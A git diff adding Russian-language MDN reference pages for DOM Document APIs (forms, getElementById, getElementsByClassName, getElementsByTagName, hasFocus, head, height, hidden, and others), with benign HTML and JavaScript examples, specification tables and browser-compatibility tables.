+1,130 @@ +--- +title: Document.forms +slug: Web/API/Document/forms +tags: + - API + - DOM + - Document + - Forms + - Property +translation_of: Web/API/Document/forms +--- +<div>{{APIRef("DOM")}}</div> + +<p><code>forms</code> возвращает коллекцию ({{domxref("HTMLCollection")}}) форм в текущем документе</p> + +<div class="blockIndicator note"> +<p><strong>На заметку:</strong> Точно также Вы можете получить список элементов выбранной формы, используя свойство {{domxref("HTMLFormElement.elements")}}.</p> +</div> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="syntaxbox"><var>collection</var> = document.forms;</pre> + +<h3 id="Значение">Значение</h3> + +<p>Объект {{domxref("HTMLCollection")}} содержит все формы, имеющиеся на странице. Каждый элемент этой коллекции - это {{domxref("HTMLFormElement")}}, представленный отдельным тегом <code><form></code>.</p> + +<p>Если на странице форм нет, тогда возвращённый результат будет пустым, а длина коллекции равна нулю.</p> + +<h2 id="Example" name="Example">Примеры</h2> + +<h3 id="Получение_информации_с_формы">Получение информации с формы</h3> + +<pre><code><!DOCTYPE html> +<html lang="en"> + +<head> +<title>document.forms example</title> +</head> + +<body> + +<form id="robby"> + <input type="button" onclick="alert(document.forms[0].id);" value="robby's form" /> +</form> + +<form id="dave"> + <input type="button" onclick="alert(document.forms[1].id);" value="dave's form" /> +</form> + +<form id="paul"> + <input type="button" onclick="alert(document.forms[2].id);" value="paul's form" /> +</form> + +</body> +</html></code></pre> + +<h3 id="Получение_элемента_формы">Получение элемента формы</h3> + +<pre><code>var selectForm = document.forms[index]; +var selectFormElement = document.forms[index].elements[index];</code></pre> + +<h3 id="Обращение_к_форме_по_её_имени">Обращение к форме по её имени</h3> + +<pre><code><!DOCTYPE html> +<html lang="en"> +<head> + <title>document.forms example</title> +</head> + +<body> + +<form name="login"> + <input name="email" type="email"> + <input name="password" type="password"> + <button type="submit">Log in</button> +</form> + +<script> + var loginForm = document.forms.login; // Or document.forms['login'] + loginForm.elements.email.placeholder = 'test@example.com'; + loginForm.elements.password.placeholder = 'password'; +</script> +</body> +</html></code></pre> + +<h2 id="Specifications" name="Specifications">Спецификации</h2> + +<table> + <thead> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}</td> + <td>{{ Spec2('DOM2 Events') }}</td> + <td>Начальное определение</td> + </tr> + </tbody> +</table> + +<h2 id="See_Also" name="See_Also">Браузерная поддержка</h2> + +<div class="hidden"> +<p>Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите https://github.com/mdn/browser-compat-data и отправьте нам пул реквест.</p> +</div> + +<p>{{Compat("api.Document.forms")}}</p> + +<h2 id="See_Also" name="See_Also">Смотрите также</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms">HTML forms</a></li> + <li>{{HTMLElement("form")}} и интерфейс {{domxref("HTMLFormElement")}}</li> +</ul> + +<p>{{APIRef("DOM")}}</p> + +<ul> + <li></li> +</ul> diff --git a/files/ru/web/api/document/getelementbyid/index.html b/files/ru/web/api/document/getelementbyid/index.html new file mode 100644 index 0000000000..3def765a4d --- /dev/null +++ b/files/ru/web/api/document/getelementbyid/index.html @@ -0,0 +1,156 @@ +--- +title: document.getElementById() +slug: Web/API/Document/getElementById +translation_of: Web/API/Document/getElementById +--- +<div>{{ ApiRef("DOM") }}</div> + +<div> </div> + +<p>Возвращает ссылку на элемент по его идентификатору (<a href="/en-US/docs/DOM/element.id" title="en-US/docs/DOM/element.id">ID</a>); идентификатор является строкой, которая может быть использована для идентификации элемента; она может быть определена при помощи атрибута <code>id</code> в HTML или из скрипта.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="eval"><em>element</em> = document.getElementById(<em>id</em>); +</pre> + +<h3 id="Параметры">Параметры</h3> + +<dl> + <dt><strong><code>id </code></strong></dt> + <dd>чувствительная к регистру строка, являющаяся уникальным идентификатором искомого элемента.</dd> +</dl> + +<h3 id="Возвращаемое_значение">Возвращаемое значение</h3> + +<dl> + <dd> + <p>ссылка на объект типа {{domxref("Element")}} соответствующий указанному ID или <code>null</code>, если элемент с указанным ID не найден в документе.</p> + </dd> +</dl> + +<h2 id="Example" name="Example">Пример</h2> + +<pre class="brush: html"><!DOCTYPE html> +<html> +<head> + <title>getElementById example</title> + <script> + function changeColor(newColor) { + var elem = document.getElementById("para1"); + elem.style.color = newColor; + } + </script> +</head> +<body> + <p id="para1">Some text here</p> + <button onclick="changeColor('blue');">blue</button> + <button onclick="changeColor('red');">red</button> +</body> +</html> +</pre> + +<h2 id="Notes" name="Notes">Замечания</h2> + +<p>Начинающим следует знать, что верхний регистр в части имени метода 'Id' <em>должен </em>быть точным для корректного вызова функции; "getElementByID" будет <em>не корректно</em>, как бы естественно это ни казалось.</p> + +<p><code>Если элементы с указанным id отсутствуют</code>, функция вернёт null. Заметьте, что параметр id чувствителен к регистру, так <code>document.getElementById("<strong>M</strong>ain")</code> вернёт <code>null</code> вместо элемента <code><div id="<strong>m</strong>ain"></code>, потому что "M" и "m" различны для этого метода.</p> + +<p><strong>Элементы вне документа</strong> не ищутся <code>getElementById()</code>. При создании элемента и назначении ему ID, вам следует вставить элемент в дерево документа с помощью {{domxref("Node.insertBefore()")}} или подобным методом, до того как вы сможете получить к нему доступ при помощи <code>getElementById()</code>:</p> + +<pre class="brush: js">var element = document.createElement("div"); +element.id = 'testqq'; +var el = document.getElementById('testqq'); // el will be null! +</pre> + +<p><strong>Не-HTML документы</strong>. Релизация DOM должна содержать информацию, сообщающую о том, какие атрибуты являются идентификаторами. Атрибуты с именем "id" не являются идентификаторами только если это не указано в описании типа документа (DTD). Атрибут "id" определён в качестве идентификатора в общих случаях <a href="/en-US/docs/XHTML" title="en-US/docs/XHTML">XHTML</a>, <a href="/en-US/docs/XUL" title="en-US/docs/XUL">XUL</a>, и других. От реализаций, которые не знают, какой атрибут является идентификатором, ожидается возврат null.</p> + +<h2 id="Specification" name="Specification">Спецификация</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + <tr> + <td>{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>Исходное определение интерфейса</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}</td> + <td>{{Spec2('DOM2 Core')}}</td> + <td>Заменяет DOM 1</td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>Заменяет DOM 2</td> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Должен заменить DOM 3</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимось в браузерах</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Возможность</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Базовая поддержка</td> + <td>1.0</td> + <td>{{ CompatGeckoDesktop(1.0) }}</td> + <td>5.5</td> + <td>7.0</td> + <td>1.0</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Возможность</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Базовая поддержка</td> + <td>1.0</td> + <td>{{ CompatGeckoMobile(1.0) }}</td> + <td>6.0</td> + <td>6.0</td> + <td>1.0</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also" name="See_also">Смотрите также</h2> + +<ul> + <li>{{domxref("Document")}} ссылка для иных методов и свойств которые вы можете использовать для получения ссылок на иные элементы.</li> + <li>{{domxref("Document.querySelector()")}} <span class="short_text" id="result_box" lang="ru"><span>для выборки по таким запросам, как</span></span> <code>'div.myclass'</code></li> + <li><a href="/en-US/docs/xml/xml:id" title="en-US/docs/xml/id">xml:id</a> - <span id="result_box" lang="ru"><span>имеет метод, позволяющий getElementById() получать «xml: id» в XML-документах (например, возвращаемые вызовами Ajax)</span></span></li> +</ul> diff --git a/files/ru/web/api/document/getelementsbyclassname/index.html b/files/ru/web/api/document/getelementsbyclassname/index.html new file mode 100644 index 0000000000..df6fefb2b8 --- /dev/null +++ b/files/ru/web/api/document/getelementsbyclassname/index.html @@ -0,0 +1,125 @@ +--- +title: Document.getElementsByClassName() +slug: Web/API/Document/getElementsByClassName +translation_of: Web/API/Document/getElementsByClassName +--- +<p id="Summary">{{APIRef("DOM")}}</p> + +<p>Возвращает массивоподобный (итерируемый) объект всех дочерних элементов, соответствующих всем из указанных имен классов. В случае вызова по отношению к объекту 'document', поиск происходит по всему документу, включая корневой элемент. Вызывать {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} можно также применительно к любому элементу: возвращены будут лишь те элементы, которые являются потомками указанного корневого элемента и имеют при этом указанные классы.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="syntaxbox"><var>var elements</var> = document.getElementsByClassName(<em>names</em>); // или: +<var>var elements</var> = rootElement.getElementsByClassName(<em>names</em>);</pre> + +<ul> + <li><var>В "elements"</var> будет текущая {{ domxref("HTMLCollection") }} найденных елементов.</li> + <li><var>"names"</var> - строка, состоящая из списка имен искомых классов; имена классов разделяют пробелами.</li> + <li>getElementsByClassName может быть вызвана по отношению к любому элементу, не только для документа целиком. ("document"). Элемент, по отношению к которому осуществляется вызов, используется для целей поиска в качестве корневого элемента.</li> +</ul> + +<h2 id="Examples" name="Examples">Примеры</h2> + +<p>Получить все элементы класса 'test':</p> + +<pre class="brush: js">document.getElementsByClassName('test');</pre> + +<p>Получить все элементы, для которых заданы класс 'red' и класс 'test':</p> + +<pre class="brush: js">document.getElementsByClassName('red test');</pre> + +<p>Получить все элементы класса 'test', являющиеся дочерними для элемента с ID 'main':</p> + +<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre> + +<p>Мы также можем использовать методы из Array.prototype по отношению к любой {{ domxref("HTMLCollection") }}, передавая коллекцию в качестве значения <em>this</em> метода. Код в примере найдет все элементы 'div' с классом 'test':</p> + +<pre class="brush: js">var testElements = document.getElementsByClassName('test'); +var testDivs = Array.prototype.filter.call(testElements, function(testElement){ + return testElement.nodeName === 'DIV'; +});</pre> + +<h2 id="Получение_элементов_класса_'test'">Получение элементов класса 'test'</h2> + +<p>Ниже приведен пример наиболее употребительного способа использования данного метода.</p> + +<pre><!doctype html> +<html> +<head> + <meta charset="UTF-8"> + <title>Document</title> +</head> +<body> + <div id="parent-id"> + <p>hello word1</p> + <p class="test">hello word2</p> + <p >hello word3</p> + <p>hello word4</p> + </div> + <script> + var parentDOM = document.getElementById("parent-id"); + + var test=parentDOM.getElementsByClassName("test");//test is not target element + console.log(test);//HTMLCollection[1] + + var testTarget=parentDOM.getElementsByClassName("test")[0];//hear , this element is target + console.log(testTarget);//<p class="test">hello word2</p> + </script> +</body> +</html></pre> + +<h2 id="Совместимость_браузеров">Совместимость браузеров</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Уровень</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Базовая поддержка</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>3.0</td> + <td>9.0</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Уровень</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Базовая поддержка</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Specification" name="Specification">Спецификация</h2> + +<ul> + <li><a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname"><span class="external">W3C: getElementsByClassName</span></a></li> +</ul> diff --git a/files/ru/web/api/document/getelementsbyname/index.html b/files/ru/web/api/document/getelementsbyname/index.html new file mode 100644 index 0000000000..73b8921d61 --- /dev/null +++ b/files/ru/web/api/document/getelementsbyname/index.html @@ -0,0 +1,90 @@ +--- +title: Document.getElementsByName() +slug: Web/API/Document/getElementsByName +translation_of: Web/API/Document/getElementsByName +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary">Метод <strong><code>getElementsByName()</code></strong> объекта {{domxref("Document")}} возвращает коллекцию {{domxref("NodeList")}} элементов с заданным {{domxref("element.name","name")}}.</span></p> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre class="syntaxbox">var <var>elements</var> = document.getElementsByName(<var>name</var>); +</pre> + +<ul> + <li><var>elements</var> — это живая {{domxref("NodeList")}} коллекция. То есть, она автоматически обновляется, когда элементы с таким же <code>name</code> добавляются/удаляются из документа.</li> + <li><var>name </var>— это значение поля <code>name</code> элемента(элементов).</li> +</ul> + +<h2 id="Пример">Пример</h2> + +<pre class="brush:html"><!DOCTYPE html> +<html lang="en"> +<title>Example: using document.getElementsByName</title> + +<input type="hidden" name="up"> +<input type="hidden" name="down"> + +<script> + var up_names = document.getElementsByName("up"); + console.log(up_names[0].tagName); // displays "INPUT" +</script> +</html> +</pre> + +<h2 id="Notes">Notes</h2> + +<p>The {{domxref("element.name","name")}} attribute can only be applied in (X)HTML documents.</p> + +<p>The returned {{domxref("NodeList")}} Collection contains <em>all</em> elements with the given <code>name</code>, such as {{htmlelement("meta")}}, {{htmlelement("object")}}, and even elements which do not support the <code>name</code> attribute at all.</p> + +<div class="warning"> +<p>The <strong>getElementsByName</strong> method works differently in IE10 and below. There, <code>getElementsByName()</code> also returns elements that have an <a href="/en-US/docs/Web/HTML/Global_attributes/id"><code>id</code> attribute</a> with the specified value. Be careful not to use the same string as both a <code>name</code> and an <code>id</code>.</p> +</div> + +<div class="warning"> +<p>The <strong>getElementsByName</strong> method works differently in IE. There, <code>getElementsByName()</code> does not return all elements which may not have a <code>name</code> attribute (such as <code><span></code>).</p> +</div> + +<div class="warning"> +<p>Both IE and Edge return an {{domxref("HTMLCollection")}}, not a {{domxref("NodeList")}}</p> +</div> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Document.getElementsByName")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("document.getElementById()")}} to return a reference to an element by its unique <code>id</code></li> + <li>{{domxref("document.getElementsByTagName()")}} to return references to elements with the same <a href="/en-US/docs/Web/API/Element/tagName">tag name</a></li> + <li>{{domxref("document.querySelector()")}} to return references to elements via CSS selectors like <code>'div.myclass'</code></li> +</ul> diff --git a/files/ru/web/api/document/getelementsbytagname/index.html b/files/ru/web/api/document/getelementsbytagname/index.html new file mode 100644 index 0000000000..2829204e72 --- /dev/null +++ b/files/ru/web/api/document/getelementsbytagname/index.html @@ -0,0 +1,103 @@ +--- +title: Document.getElementsByTagName() +slug: Web/API/Document/getElementsByTagName +tags: + - API + - DOM + - Ссылки + - метод +translation_of: Web/API/Document/getElementsByTagName +--- +<div>{{ ApiRef("DOM") }}</div> + +<div> </div> + +<p><span class="seoSummary">Возвращает {{domxref("HTMLCollection")}} элементов с указанным именем тега.</span> Поиск осуществляется по всему документу, включая корневой узел. Возвращаемая HTMLCollection живая, это значит что она автоматически обновляет сама себя чтобы оставаться синхронизированной с DOM деревом без необходимости вызова document.getElementByTagName() снова.</p> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre class="syntaxbox">var <var>elements</var> = document.getElementsByTagName(<em>name</em>);</pre> + +<ul> + <li><code>elements</code> это живая {{domxref("HTMLCollection")}} (с учетом примечания внизу) найденных документов в таком порядке в каком они появляются в дереве.</li> + <li><code>name</code> строка представляющая собой имя элемента. Специальная строка "*" позволяет получить все элементы.</li> +</ul> + +<div class="note"><strong>Примечание:</strong> <a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">Последняя W3C спецификация</a> говорит что <code>elements</code> является <code>HTMLCollection</code>; между тем, данный метод возвращает {{domxref("NodeList")}} в WebKit браузерах. См. {{bug(14869)}} для большей информации.</div> + +<h2 id="Примеры">Примеры</h2> + +<p>В следующем примере, getElementByTagName() стартует из отдельного родительского элемента и ищет сверху-вниз рекурсивно по DOM начиная с родительского элемента просматривая дочерние элементы на соответствие тегов параметру name.</p> + +<p>Отметим что когда узел в котором <code>getElementsByTagName()</code> был вызван не является узлом <code>document</code>, по факту используется метод {{domxref("element.getElementsByTagName()")}}.</p> + +<pre class="brush:html"><!DOCTYPE html> +<html lang="en"> +<head> + <meta charset="UTF-8" /> + <title>getElementsByTagName example</title> + <script> + function getAllParaElems() { + var allParas = document.getElementsByTagName("p"); + var num = allParas.length; + alert("There are " + num + " paragraph in this document"); + } + + function div1ParaElems() { + var div1 = document.getElementById("div1"); + var div1Paras = div1.getElementsByTagName("p"); + var num = div1Paras.length; + alert("There are " + num + " paragraph in #div1"); + } + + function div2ParaElems() { + var div2 = document.getElementById("div2"); + var div2Paras = div2.getElementsByTagName("p"); + var num = div2Paras.length; + alert("There are " + num + " paragraph in #div2"); + } + </script> +</head> +<body style="border: solid green 3px"> + <p>Some outer text</p> + <p>Some outer text</p> + + <div id="div1" style="border: solid blue 3px"> + <p>Some div1 text</p> + <p>Some div1 text</p> + <p>Some div1 text</p> + + <div id="div2" style="border: solid red 3px"> + <p>Some div2 text</p> + <p>Some div2 text</p> + </div> + </div> + + <p>Some outer text</p> + <p>Some outer text</p> + + <button onclick="getAllParaElems();"> + show all p elements in document</button><br /> + + <button onclick="div1ParaElems();"> + show all p elements in div1 element</button><br /> + + <button onclick="div2ParaElems();"> + show all p elements in div2 element</button> + +</body> +</html> +</pre> + +<h2 id="Примечания">Примечания</h2> + +<p>Когда вызывается на HTML document, <code>getElementsByTagName()</code> переводит в нижний регистр свой аргумент перед работой. Это может быть неожиданным при попытке найти соответствие для camelCase SVG элементов в поддереве HTML документа. В таком случае может быть полезен {{Domxref("document.getElementsByTagNameNS()")}}. См. также {{Bug(499656)}}.</p> + +<p><code>document.getElementsByTagName()</code> подобен {{domxref("element.getElementsByTagName()")}}, за исключением того что поиск охватывает весь документ.</p> + +<h2 id="Спецификации">Спецификации</h2> + +<ul> + <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094">DOM Level 2 Core: Document.getElementsByTagName</a></li> + <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li> +</ul> diff --git a/files/ru/web/api/document/getselection/index.html b/files/ru/web/api/document/getselection/index.html new file mode 100644 index 0000000000..e5ce193c90 --- /dev/null +++ b/files/ru/web/api/document/getselection/index.html @@ -0,0 +1,8 @@ +--- +title: Document.getSelection() +slug: Web/API/Document/getSelection +translation_of: Web/API/DocumentOrShadowRoot/getSelection +--- +<p>{{APIRef("DOM")}}</p> + +<p>Этот метод работает в точности так же, как {{domxref("Window.getSelection()")}}; он возвращает объект {{domxref("Selection")}}, в котором содержатся данные о тексте, выделенном в документе на данный момент.</p> diff --git a/files/ru/web/api/document/hasfocus/index.html b/files/ru/web/api/document/hasfocus/index.html new file mode 100644 index 0000000000..e0a3a5114b --- /dev/null +++ b/files/ru/web/api/document/hasfocus/index.html @@ -0,0 +1,146 @@ +--- +title: Document.hasFocus() +slug: Web/API/Document/hasFocus +tags: + - API + - DOM + - Фокус + - метод +translation_of: Web/API/Document/hasFocus +--- +<div>{{APIRef}}</div> + +<div>Метод <code><strong>Document.hasFocus()</strong></code> возвращает значение {{jsxref("Boolean")}}, <span id="result_box" lang="ru"><span>указывающее имеет</span> <span>ли документ</span> <span>или</span> <span>любой элемент</span> <span>внутри документа</span> <span>фокус.</span> <span>Этот</span> <span>метод может быть использован</span><span>, чтобы</span> <span>определить,</span> <span>имеет</span> <span>ли</span> <span>активный элемент</span> <span>в документе </span><span>фокус.</span></span></div> + +<div class="note"> +<p>При просмотре документа элемент с фокусом всегда является активным элементом документа, но активный элемент не обязательно должен иметь фокус. Например, активный элемент внутри всплывающего окна, которое находится не на переднем плане, не имеет фокус.</p> +</div> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="syntaxbox">focused = document.hasFocus();</pre> + +<h3 id="Возвращаемое_значение">Возвращаемое значение</h3> + +<p><code>false</code> если активный элемент в документе не имеет фокуса; <code>true</code> если активный элемент в документе имеет фокус.</p> + +<h2 id="Example" name="Example">Пример</h2> + +<pre class="brush:html;highlight:[17]"><!DOCTYPE html> +<html lang="en"> +<head> +<meta charset="UTF-8" /> +<title>TEST</title> +<style> +#message { font-weight: bold; } +</style> +<script> +setInterval( checkPageFocus, 200 ); + +function checkPageFocus() { + var info = document.getElementById("message"); + + if ( document.hasFocus() ) { + info.innerHTML = "Документ имеет фокус."; + } else { + info.innerHTML = "Документ не имеет фокус."; + } +} + +function openWindow() { + window.open ( + "http://developer.mozilla.org/", + "mozdev", + "width=640, + height=300, + left=150, + top=260" + ); +} +</script> +</head> +<body> + <h1>JavaScript hasFocus пример</h1> + <div id="message"><span class="short_text" id="result_box" lang="ru"><span>Ожидание</span> <span>действий со стороны пользователя</span></span></div> + <div><button onclick="openWindow()">Открыть новое окно</button></div> +</body> +</html></pre> + +<h2 id="Specification" name="Specification">Спецификации</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>30</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoDesktop("1.9") }}</td> + <td>6.0</td> + <td>12.10</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoMobile("1.9") }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="/en-US/docs/Web/Guide/User_experience/Using_the_Page_Visibility_API">Using the Page Visibility API</a></li> +</ul> diff --git a/files/ru/web/api/document/head/index.html b/files/ru/web/api/document/head/index.html new file mode 100644 index 0000000000..8645de05b4 --- /dev/null +++ b/files/ru/web/api/document/head/index.html @@ -0,0 +1,87 @@ +--- +title: Document.head +slug: Web/API/Document/head +tags: + - API + - Document + - Property +translation_of: Web/API/Document/head +--- +<p>{{APIRef("DOM")}}</p> + +<p>Возвращает элемент {{HTMLElement("head")}} текущего документа. Если имеется более одного элемента <code><head></code>, будет возвращен первый из них.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="syntaxbox notranslate"><em>var objRef</em> = document.head; +</pre> + + + +<h3 id="Значение">Значение</h3> + +<p>{{domxref("HTMLHeadElement")}}.</p> + + + +<h2 id="Пример">Пример</h2> + +<pre class="notranslate"><code><!doctype html> +<head id="my-document-head"> + <title>Example: using document.head</title> +</head> + +<script> + var theHead = document.head; + + console.log(theHead.id); // "my-document-head"; + + console.log( theHead === document.querySelector("head") ); // true +</script></code></pre> + +<h2 id="Примечание">Примечание</h2> + +<p><code>document.head</code> доступно только для чтения. Присвоить значение этому свойству нельзя. При попытке это сделать ошибка вызвана не будет, только если вы не используете <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict Mode</a>. В данном случае будет вызвано {{jsxref("TypeError")}} .</p> + + + +<h2 id="Спецификации">Спецификации</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">Спецификация</th> + <th scope="col">Статус</th> + <th scope="col">Комментарий</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Начальное определение.</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Браузерная_поддержка">Браузерная поддержка</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.head")}}</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li>{{domxref("document.body")}}</li> +</ul> diff --git a/files/ru/web/api/document/height/index.html b/files/ru/web/api/document/height/index.html new file mode 100644 index 0000000000..f3735ba2f8 --- /dev/null +++ b/files/ru/web/api/document/height/index.html @@ -0,0 +1,55 @@ +--- +title: Document.height +slug: Web/API/Document/height +tags: + - Document + - HTML + - Obsolete + - Property +translation_of: Web/API/Document/height +--- +<div>{{APIRef("DOM")}} {{Obsolete_header}}</div> + +<div class="note"> +<p><strong>Заметка: </strong>Начиная с {{Gecko("6.0")}},<code> document.height </code> больше не поддерживается. Используйте <code>document.body.clientHeight</code>. Также смотрите: {{domxref("element.clientHeight")}}.</p> +</div> + +<p>Возвращает высоту {{domxref("document")}} объекта. В большинстве случаев, она соответствует {{HTMLElement("body")}} элементу документа.</p> + +<h2 id="Syntax" name="Syntax">Синтакс</h2> + +<pre class="syntaxbox"><em>height_value</em> = document.height +</pre> + +<h2 id="Пример">Пример</h2> + +<pre class="brush: js">// вывести высоту документа +alert(document.height); +</pre> + +<h2 id="Альтернативы">Альтернативы</h2> + +<pre class="syntaxbox">document.body.clientHeight +document.documentElement.clientHeight +document.documentElement.scrollHeight +</pre> + +<h2 id="Спецификации">Спецификации</h2> + +<p>HTML5</p> + +<h2 id="Поддержка_браузерами">Поддержка браузерами</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.height")}}</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li>{{domxref("document.width")}}</li> + <li>{{domxref("Element.clientHeight")}}</li> + <li>{{domxref("Element.scrollHeight")}}</li> +</ul> diff --git a/files/ru/web/api/document/hidden/index.html b/files/ru/web/api/document/hidden/index.html new file mode 100644 index 0000000000..10dd2f8171 --- /dev/null +++ b/files/ru/web/api/document/hidden/index.html @@ -0,0 +1,43 @@ +--- +title: Document.hidden +slug: Web/API/Document/hidden +translation_of: Web/API/Document/hidden +--- +<p>{{ ApiRef("DOM") }}</p> + +<p>Доступное только для чтения свойство <code><strong>Document.hidden</strong></code> возвращает булево значение, показывающее является ли страница скрытой или нет.</p> + +<h2 id="Синтакс">Синтакс</h2> + +<pre class="syntaxbox">var <em>boolean</em> = document.hidden</pre> + 